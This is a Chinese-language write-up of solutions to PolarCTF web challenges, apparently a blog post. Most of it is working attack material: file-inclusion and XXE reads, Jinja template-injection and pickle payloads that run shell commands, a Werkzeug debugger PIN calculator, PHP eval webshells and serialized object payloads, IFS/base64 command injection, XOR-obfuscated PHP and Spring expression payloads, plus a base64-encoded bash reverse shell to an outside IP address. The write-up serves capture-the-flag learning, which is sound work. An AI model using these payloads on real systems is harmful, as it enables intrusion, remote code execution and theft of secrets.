PolarCTF WEB 题解(02)

PolarCTF WEB 题解(02)

签到题

100 分 1 Polar币

界面如下,源码中没有啥信息:

我是一个什么都不会的出题人,我啥也不知道,我只知道你不是我可耐的弟弟-。-

响应标头中有一个信息:

set-cookie: didi=no

更改为didi=yes,再查询一下,得到信息: Li9kYXRhL2luZGV4LnBocA

┌──(kali㉿kali)-[~]
└─$ echo   Li9kYXRhL2luZGV4LnBocA|base64 -d   
./data/index.php 

/data/index.php

界面:

<?php
    error_reporting(0);
    file =_GET['file'];
    if(!isset(file))file = '1';
    file = str_replace('../', '',file);
    include_once($file.".php");
    highlight_file(__FILE__);
?>

双写../ 绕过替换掉,payload:

一层一层目录尝试,文件名知道是flag则好,否则要尝试flag.txt、flag.php 就麻烦了一些。

/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
#直接/flag也可以:
/data/index.php?file=php://filter/convert.base64-encode/resource=/flag

xxe

300 分 3 Polar币

首页,phpinfo看到

DOM/XML enabled

dirsearch -u url

[00:32:15] 200 – 995B – /dom.php

/dom.php

POST:

<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flagggg.php">]>
<root>&file;</root>

SSTI

300 分 3 Polar币

?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

flask_pin

500 分 5 Polar币

dirsearch -u url

/console
/file?filename=/etc/passwd
┌──(kali㉿kali)-[~]
└─$ whatweb http://16e1a677-ea5d-421f-ba1f-ef311179632b.www.polarctf.com:8090/
http://16e1a677-ea5d-421f-ba1f-ef311179632b.www.polarctf.com:8090/ [500 Internal Server Error] Country[CHINA][CN], HTTPServer[Werkzeug/1.0.1 Python/3.5.10], IP[1.95.36.136], JQuery, Python[3.5.10], Script[text/javascript], Title[NameError: name 'Hello' is not defined // Werkzeug Debugger], Werkzeug[1.0.1], X-XSS-Protection[0]

由于是python3.5(报错页面获得),PIN加密方式是MD5。(3.6及以下MD5,3.8及以上sha1)

这里有个坑点,Flask下的werzeug版本在在2020年1月5号就发生了更新,代码发生了变化,因此要再读取到machine_id()的值的话需要先读取/etc/machine-id,再读取/proc/self/cgroup,并将第一个获取到的值与第二个获取到的id值进行拼接。https://cloud.tencent.com/developer/article/1657739
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py'# getattr(mod, '__file__', None),
]

private_bits = [
    '2485376940772',  # ?filename=/sys/class/net/eth0/address 02:42:ac:02:7a:e4  0242ac027ae4  16进制转10进制

    # 'c31eea55a29431535ff01de94bdcf5cf'  #/etc/machine-id 备用

    # '/docker/156954c7a418baccb33dbbe19c2aea65d9fda8703c38be723970b7e3a4c1d0fb'   #/proc/self/cgroup  备用
    'c31eea55a29431535ff01de94bdcf5cf156954c7a418baccb33dbbe19c2aea65d9fda8703c38be723970b7e3a4c1d0fb'  #/etc/machine-id + /proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)
842-958-352
#不同启动实例不同,这不通用

/console

输入pin

#控制台输入如下命令:
import os
os.popen('ls').read()
os.popen('ls /').read()
os.popen('cat /flaggggg').read()

output:

[console ready]
>>> import os
>>> os.popen('ls').read()
'app.py\n'
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nflag.sh\nflaggggg\nhome\nlib\nlib64\nmedia\  
>>> os.popen('cat /flaggggg').read()
'flag{873894c49201cd995ee2c52e6270630d}'
>>> 

unpickle

300 分 3 Polar币

cookie user
generate value :

import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        return eval, ("open('/flag','r').read()",)
        # return eval, (f"__import__('pickle').loads({f})",)

a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))

pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))

print(payload)

签到

100 分 1 Polar币
删除submit disabled项

session文件包含

100 分 1 Polar币
看代码,找漏洞

?file=php://filter/convert.base64-encode/resource=action.php

POST:  name=<?php @eval(_POST['cmd']);?>

?file=/tmp/sess_tue09ggom8bkshcqrjrb0lm3t6
POST:  name=<?php @eval(_POST['cmd']);?>

POST: name=<?php system('ls /');?>
POST: name=<?php system('cat /flaggggg ');?>

cmd=system("cat /flaggggg |base64");
因为没有换行,只有回车,所以普通的显示时显示不出来,被回车回前面了。

POST:  name=<?php echo 'aa';@eval($_POST['cmd']);?>

Don’t touch me

100 分 1 Polar币

扫描目录发现 2.php 3.php
2.php按钮可以修改为enable
3.php 中注释发现 fla.php

veryphp

500 分 5 Polar币

└─$ whatweb http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/ 
http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/ [200 OK] Apache[2.4.23], Country[CHINA][CN], HTTPServer[Unix][Apache/2.4.23 (Unix)], IP[1.95.36.136], PHP[7.0.9], X-Powered-By[PHP/7.0.9]
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',str)){
    die("I am sorry but you have to leave.");
}else{
    extract(_POST);
}
if(isset(shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)&& strlen(shaw_root)===29){
        echohint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if(ans===SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
} Almost there.

阅读源码,可以构造shaw_root变量,通过POST提交, 才能得到提示,但是要求构造的变量符合如下条件:

 if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)&& strlen(shaw_root)===29){
        echohint;
    }

解决正则表达式:

^\-  : 要以-开头,  暂且例如: -
[a-e]: a-e之间的一个字符,暂且例如: a
[^a-zA-Z0-8]: 非a-zA-Z0-8的一个字符,暂且例如: 9
<b>: <b>, 暂且例如:<b>
(.*): 任意字符任意个数,暂且例如: AA
>{4}: 4个>,暂且例如: >>>>
\D*?: 非数字字符任意个,?表示非贪婪模式。暂且例如: AA
(abc.*?):abc接任意字符任意个数,?表示非贪婪模式。 暂且例如:abc__
p: p, 给出: p
(hp)*: hp任意次数重复,暂且给出: hphp
\@R:@本身无需转义,转义还是@,给出:@R
(s|r): s或r, 给出s
.$ : 最后是一个任意字符,给出 A

全部拼接为:-a9<b>AA>>>>AAabcAAphphp@RsA  ,长度为28字符
因此那些可重复的字符调整一下,长度为29即可。
例如:
-a9<b>AA>>>>AAAabcAAphphp@RsA

<?php
hint="Well done!";shaw_root="-a9<b>AA>>>>AAAabcAAphphp@RsA";

if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./',shaw_root)){
        echo "OK\n";
}

echo "len=".strlen(shaw_root)."\n";
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r)./', shaw_root)&& strlen(shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
}
?>
-a9<b>rrrrr>>>>RabcRphphp@Rrr
-a9<b>AA>>>>AAAabcAAphAAAphp@RsA
-a9<b>AAAAA>>>>AabcAphphp@RsA
构造字符和网上的通过的也过不去,可能是hackbar 发送POST body增加了一行导致,

用burpsuit抓包,会增加

<b\>

用yakit抓包,手工去掉最后一样,发送成功了。

POST / HTTP/1.1
Host: 5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Referer: http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090/
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://5f735f66-2eee-4e0c-9229-9a532d2d5ff3.www.polarctf.com:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Pragma: no-cache
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 41

shaw[root=-a9<b>AA>>>>AAAabcAAphphp@RsA

返回结果:

Here is a hint :
md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f &&
strlen(SecretNumber)===5

爆破一下:

<?php
SecretNumber=10000;
while (SecretNumber <99999 ){
  if (md5("shaw".(SecretNumber)."root")=="166b47a5cb1ca2431a0edfcef200684f"){
    echoSecretNumber;
    exit;
  }
  SecretNumber=SecretNumber+1;
}
?>

output:
21475

因为源码中有一个类可以调用,构造payload

shaw[root=-a9<b>AA>>>>AAAabcAAphphp@RsA&ans=21475&my[ans=qwq::oao

执行得到config.php结果:

<?php
hint = 'Here is a hint : md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen(SecretNumber)===5';SecretNumber = "21475";
$Ture_f14g = "flag{d66c779bdd97750eb2b0a6a34384b901}";
?>

BlackMagic

300 分 3 Polar币
strTmp= xxxxx…xxxxx

反序列化

300 分 3 Polar币

https://www.bejson.com/runcode/php/

unserialize

class example{
    public handle;
    function __construct(){this->handle = new process();
    }
}
class process{
    public pid;
    function __construct(){this->pid = "phpinfo();";
    }
}

test = new example();
echo serialize(test);//打印payload

?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:15:"system('ls /');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:15:"system('ls /');";}}


?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:14:"system('env');";}}



?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:17:"system('whoami');";}}
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"system('echo $FLAG');";}}

#以下环境变量中取,提交不对
flag{4388f834-8723-4bca-b8c1-6fd53cd47b55}
flag错误,请检查仔细后提交。

?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:27:"system('ls /var/www/html');";}}
flag.php index.php
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}
输出注释中有flag..

毒鸡汤

500 分 5 Polar币
扫描目录
robots.txt –> hint.txt
www.zip

?readfile=/flag

upload tutu

500 分 5 Polar币
综上他需要两张md5值相同的图
找工具 fastcoll 可生成两个md5值相同的文件
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
照一张图片,我是直接将之前测试的一句话木马换了后缀改成了 test.jpg,然后会生成两个md5值相同个图片,分别上传到两个上传文件的位置得到flag

fastcoll_v1.0.0.5.exe -p D:\download\aaaa\gsl.png -o D:\download\aaaa\md1.png D:\download\aaaa\md2.png

Unserialize_Escape

500 分 5 Polar币

“;i:1;s:6:”123456″;}

共20个字符,我们只需要在前面放上20个x变成20个yy。这样就能达成溢出的目的。
xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456″;}

<?php
function filter(string){
    return preg_replace('/x/', 'yy',string);
}

username = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';password = "aaaaa";
user = array(username, password);r = filter(serialize(user));
echor;
echo "\n";
echo unserialize(r);
echo "\n";
echo unserialize(r)[1];
?>
a:2:{i:0;s:40:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
Array
123456

robots

100 分 1 Polar币
/robots.txt

找找shell

300 分 3 Polar币

shell.php

┌──(root㉿kali)-[~]
└─# echo PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==|base64 -d
<?php @eval($_POST['usam']); ?>  

usam=system("ls /");
usam=system("env");

WD=/var/www/html FLAG=flag{3f2664f6-b375-4671-b9b4-0fa5b8026d01}
提交通不过

zheshiflag.php

usam=system("cat zheshiflag.php");
flag{2591c98b70119fe624898b1e424b5e91} 这个可以

自由的文件上传系统

500 分 5 Polar币

?--> !
不能用有问号的木马

<script language="php">@eval($_POST['pass']);</script>

/sectet_include.php?file=upload/5744893807
pass=system("ls /");
pass=system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");

再来ping一波啊

300 分 3 Polar币

?ip=127.0.0.1;echoIFS9PATH
cat index.php
echoIFS9Y2F0IGluZGV4LnBocA==IFS9|base64IFS$9-d|sh

┌──(root㉿kali)-[~]
└─# echo Y2F0IGluZGV4LnBocA==|base64 -d
cat index.php

wu

300 分 3 Polar币

【2023秋季个人挑战赛】

<?php
function judge(c)
{
    if (preg_match("/[0-9]|[a-z]/i",c)) {
        return false;
    }
    return true;
}

function print_exp(system_str,payload)
{
    print("\_=" .system_str . "\__=payload" . (";\_(\$__);")."\n");
    return "\$_=" .system_str . "\__=payload" . (";\_(\$__);");
}

//要执行的命令shell = "'" . ("ls") . "'";


result1 = "";result2 = "";
for (num = 0;num <= strlen(shell);num++) {
    for (x = 33;x <= 128; x++) {
        if (judge(chr(x))) {
            for (y = 33;y <= 128; y++) {
                if (judge(chr(y))) {
                    f = chr(x) ^ chr(y);
                    if (f == shell[num]) {
                        result1 .= chr(x);
                        result2 .= chr(y);
                        payload = "('" .result1 . "'^'" . result2 . "')";
                        break 2;
                    }
                }
            }
        }
    }
}system_str = "('(\"((%-'^'[[[\@@');";
_ = ('("((%-' ^ '[[[\@@') . ('(') . ('[,([' ^ '|@[|') . (');');exp = print_exp(system_str,payload);
echo "\nurlencode:\n";
echo urlencode($exp);
?>

run PAYLOAD:

#ls
?a=_=('("((%-'^'[[[\@@');__=('[,(['^'|@[|');_(__);
index.php zheshiflag.php

直接访问地址,得到flag,但试图payload,a=cat xxx,老是报错,不知道何故!!!

/zheshiflag.php

如下不灵

$shell = "'" . ("cat zheshiflag.php") . "'";
--->
$_=('("((%-'^'[[[\@@');$__=('[#!(@!(%(()&,!'+(+['^'|@@\`[@@[@@@@@@[@[|');$_($__);

urlencode:
%24_%3D%28%27%28%22%28%28%25-%27%5E%27%5B%5B%5B%5C%40%40%27%29%3B%24__%3D%28%27%5B%23%21%28%40%21%28%25%28%28%29%26%2C%21%27%2B%28%2B%5B%27%5E%27%7C%40%40%5C%60%5B%40%40%5B%40%40%40%40%40%40%5B%40%5B%7C%27%29%3B%24_%28%24__%29%3B

php very nice

100 分 1 Polar币

https://www.bejson.com/runcode/php/#google_vignette

<?php
class example{
    public sys;
    function __construct(){this->sys = "phpinfo();";
    }
    function __destruct(){
         eval(this->sys);
     }
}test = new example();
echo serialize($test); //打印payload
?>


O:7:"example":1:{s:3:"sys";s:10:"phpinfo();";}phpinfo()
O:7:"example":1:{s:3:"sys";s:13:"system('ls');";}
?a=O:7:"example":1:{s:3:"sys";s:23:"system('cat flag.php');";}  

ezupload

100 分 1 Polar币
mm.gif –> mm.php

mm.php:
<?php eval($_POST["pass"]);?>

payload:    
pass=system("cat ../flag.php");    

ezjava

500 分 5 Polar币
【2023秋季个人挑战赛】 flag在/app/flag.txt

/SPEL/vul?ex=S

 #没有输出
└─echo -n "ls /  " |base64     
bHMgLyAg
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bHMgLyAg}|{base64,-d}|{bash,-i}")  

#没有输出
└─ echo -n "cat /app/flag.txt "|base64
Y2F0IC9hcHAvZmxhZy50eHQg
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,Y2F0IC9hcHAvZmxhZy50eHQg}|{base64,-d}|{bash,-i}")  

#只输出第一行,其他行暂时没法显示
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","ls /app"}).start().getInputStream(),"utf-8")).readLine()

#需要出网,参考
└─# echo YmFzaCAtaSa+JiAvZGV2L3RjcC8zOS4xMdcuMTEzLjI1MC85MDAyIDA+JiE=|base64 -d
bash -i&dev/tcp/39.113.250/9002 0>&! 
?ex=T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSa+JiAvZGV2L3RjcC8zOS4xMdcuMTEzLjI1MC85MDAyIDA+JiE=
}|{base64,-d}|{bash,-i}")  

#还是这个好使
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(),"utf-8")).readLine()

代码审计1

300 分 3 Polar币

?sys=system&xsx="ls"
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php 

cookie欺骗

100 分 1 Polar币
修改cookie user=admin

发表评论